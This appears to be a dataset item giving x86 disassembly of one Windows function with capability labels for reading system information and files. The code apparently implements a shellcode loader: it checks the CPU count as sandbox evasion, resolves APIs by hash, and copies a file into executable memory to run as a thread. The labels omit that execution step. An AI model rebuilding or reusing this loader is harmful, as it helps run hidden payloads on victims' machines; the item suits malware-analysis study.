Function at 0x4020e0
Capabilities:
Get system information on windows
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x41d53d
mov eax, dword fs:[0]
push eax
sub esp, 0x5c
mov eax, dword [0x428080]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0x58], eax
lea eax, [ebp - 0x50]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
cmp dword [ebp - 0x3c], 2
jbe 0x40232d
call fcn.00401f30
call fcn.00401f00
movaps xmm0, xmmword [0x424fb0]
mov esi, dword [eax + 0xc]
movups xmmword [ebp - 0x2c], xmm0
lea edi, [eax + 0xc]
mov dword [ebp - 0x1c], 0x64002e
mov dword [ebp - 0x18], 0x6c006c
mov word [ebp - 0x14], 0
cmp edi, esi
je 0x402180
mov eax, dword [esi + 0x30]
lea ecx, [ebp - 0x2c]
mov dl, byte [eax]
test dl, dl
je 0x402170
cmp dl, byte [ecx]
jne 0x402170
mov dl, byte [eax + 1]
inc eax
inc ecx
test dl, dl
jne 0x402163
mov al, byte [eax]
cmp al, byte [ecx]
je 0x402238
mov esi, dword [esi]
cmp edi, esi
jne 0x402157
xor esi, esi
mov edx, 0xf6116bf8
mov ecx, esi
call fcn.00401f50
mov edx, 0x5952beef
mov dword [ebp - 0x60], eax
mov ecx, esi
call fcn.00401f50
mov edx, 0x14df3583
mov dword [ebp - 0x64], eax
mov ecx, esi
call fcn.00401f50
cmp dword [ebp + 8], 2
mov dword [ebp - 0x68], eax
jne 0x40232d
mov edi, dword [ebp - 0x58]
xorps xmm0, xmm0
movups xmmword [ebp - 0x44], xmm0
mov dword [ebp - 0x34], 0
mov dword [ebp - 0x30], 0
mov edx, dword [edi + 4]
mov ecx, edx
lea esi, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4021e0
sub ecx, esi
push ecx
push edx
lea ecx, [ebp - 0x44]
call fcn.00404160
lea ecx, [ebp - 0x44]
mov dword [ebp - 4], 0
call fcn.00401e00
mov dword [ebp - 4], 0xffffffff
mov ecx, dword [ebp - 0x30]
mov byte [ebp - 0x51], al
cmp ecx, 0xf
jbe 0x40224d
mov edx, dword [ebp - 0x44]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x402240
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40234a
jmp 0x402240
mov esi, dword [esi + 0x18]
jmp 0x402182
push ecx
push edx
call fcn.00405167
mov al, byte [ebp - 0x51]
add esp, 8
mov dword [ebp - 0x34], 0
mov dword [ebp - 0x30], 0xf
mov byte [ebp - 0x44], 0
test al, al
je 0x40232d
mov eax, dword [edi + 4]
push 0x424ee8
push eax
mov dword [ebp - 0x5c], eax
call fcn.0040a22b
push 2
mov esi, eax
push 0
push esi
call fcn.0040aa1d
push esi
call fcn.00409fa4
mov edi, eax
push esi
mov dword [ebp - 0x58], edi
call fcn.0040ae24
push esi
call fcn.0040a6ca
add esp, 0x20
test edi, edi
je 0x4022ef
push 0x424ee8
push dword [ebp - 0x5c]
call fcn.0040a22b
mov esi, eax
add esp, 8
mov dword [ebp - 0x5c], esi
test esi, esi
je 0x4022ef
push edi
call fcn.00405175
push esi
mov edi, eax
call fcn.0040ae24
push esi
push dword [ebp - 0x58]
push 1
push edi
call fcn.0040b73c
push dword [ebp - 0x5c]
mov esi, eax
call fcn.0040a6ca
add esp, 0x1c
test esi, esi
jne 0x4022f1
push edi
call fcn.00405132
add esp, 4
xor edi, edi
mov esi, dword [ebp - 0x58]
push esi
call fcn.0040bafd
add esp, 4
push 0x40
push 0x1000
push esi
push 0
call dword [ebp - 0x60]
push dword [ebp - 0x58]
mov esi, eax
push edi
push esi
call fcn.00406520
add esp, 0xc
push 0
push 0
push 0
push esi
push 0
push 0
call dword [ebp - 0x64]
push 0xffffffffffffffff
push eax
call dword [ebp - 0x68]
xor eax, eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.00405124
mov esp, ebp
pop ebp
ret
call fcn.0040baac
int3